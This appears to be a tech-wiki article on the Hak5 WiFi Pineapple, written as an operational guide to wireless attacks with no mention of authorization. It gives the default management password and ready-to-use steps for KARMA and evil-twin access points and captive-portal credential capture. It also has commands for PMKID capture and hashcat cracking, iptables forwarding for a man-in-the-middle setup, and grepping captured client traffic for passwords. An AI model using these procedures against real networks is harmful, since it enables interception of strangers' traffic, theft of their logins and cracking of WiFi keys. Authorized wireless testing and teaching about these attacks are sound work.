Techzone/WiFi Pineapple

WiFi Pineapple

3 min readArticle

The WiFi Pineapple is purpose-built hardware by Hak5 for wireless security assessments. It runs OpenWRT Linux with Hak5's custom firmware, has two WiFi radios, and comes pre-loaded with all the software needed for rogue AP attacks, KARMA, MitM, traffic analysis, and reconnaissance. The device you buy when you want all the WiFi attack capabilities in a polished, reliable package.

Current Models

Model Price Radios Notes
WiFi Pineapple Mark VII ~$120 2x 2.4GHz + 1x 5GHz Current standard
WiFi Pineapple Tetra ~$200 2x dual-band More powerful, desktop
WiFi Pineapple Nano ~$100 2x 2.4GHz Smaller, older

What Makes It Different From DIY

  1. Purpose-built hardware — optimized for the use case
  2. Web UI — everything configurable from a browser
  3. Module ecosystem — install community modules for extra features
  4. Battery compatible — runs on USB power banks
  5. Reliable — tested configuration, not cobbled together scripts
  6. Stealth — small, inconspicuous

Initial Setup

bash 
# Connect via USB or WiFi management interface
# Default management AP: Pineapple_XXXX
# Password: pineapplesareyummy

# Web UI: http://172.16.42.1:1471

# Configure WAN (internet uplink):
# Settings → Networking → WAN interface
# Connect via USB tether (phone) or Ethernet adapter

Core Features (Web UI)

PineAP (KARMA Engine)

The core attack module — handles beacon floods, probe response interception, client harvesting:

shell 
PineAP → Settings:
  ☑ Allow associations      (accept client connections)
  ☑ Capture SSIDs          (log all probed SSIDs)
  ☑ Respond to all probes  (KARMA attack)
  ☑ Beacon SSID list       (broadcast all captured SSIDs)
  ☑ Logging                (save captured clients/SSIDs)

Recon

Passive and active scanning:

shell 
Recon → Scan → See all nearby APs and clients
    → Click client → target it
    → Click AP → clone it for evil twin

Filters

Control which clients/SSIDs Pineapple accepts connections from:

  • Client filter: allow/deny specific MAC addresses
  • SSID filter: allow/deny specific SSIDs

Modules

Install additional capabilities:

shell 
Modules → Browse → Install:
  - nmap          — port scanning
  - hcxdumptool   — PMKID capture
  - evilportal    — captive portal / credential capture
  - deauth        — deauthentication attacks
  - site survey   — client-side wardriving

Evil Portal (Credential Capture)

shell 
Modules → Install: Evil Portal
→ Create portal with HTML/PHP template
→ Set SSID to target
→ Enable portal

Captured credentials: Modules → Evil Portal → Logs

PMKID Capture

bash 
# Install hcxdumptool module
# Run from web UI or SSH

# SSH into Pineapple
ssh [email protected]

# Run hcxdumptool
hcxdumptool -i wlan1 -o pmkid.pcapng --enable_status=1

# Convert
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

# Transfer to cracking machine
scp [email protected]:/root/hash.hc22000 .
hashcat -m 22000 hash.hc22000 rockyou.txt

SSH Access

bash 
# SSH to Pineapple
ssh [email protected]
# Default password: set during setup

# File system paths
/pineapple/         # Pineapple-specific files
/sd/                # SD card storage
/tmp/               # Temp files

Sharing Internet to Clients

When clients connect to Pineapple and you want them to actually get internet (for transparent MitM):

bash 
# In Pineapple SSH:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Traffic Analysis

bash 
# Capture all client traffic
tcpdump -i br-lan -w /tmp/clients.pcap

# Extract credentials
tcpdump -r /tmp/clients.pcap -A | grep -E "pass|user|login"

Compared to DIY Setup

WiFi Pineapple DIY (Kali + Alfa)
Cost $120-200 $50-100
Portability Excellent Good
Setup time Minutes Hours
Reliability High Variable
Learning value Lower Higher
Flexibility Good (modules) Unlimited

See Also

  • future-of-tech-emerging-trends-2023 — KARMA attack overview
  • mana-evil-twin-toolkit — MANA toolkit (DIY alternative)
  • honeypot — Honeypot AP concepts
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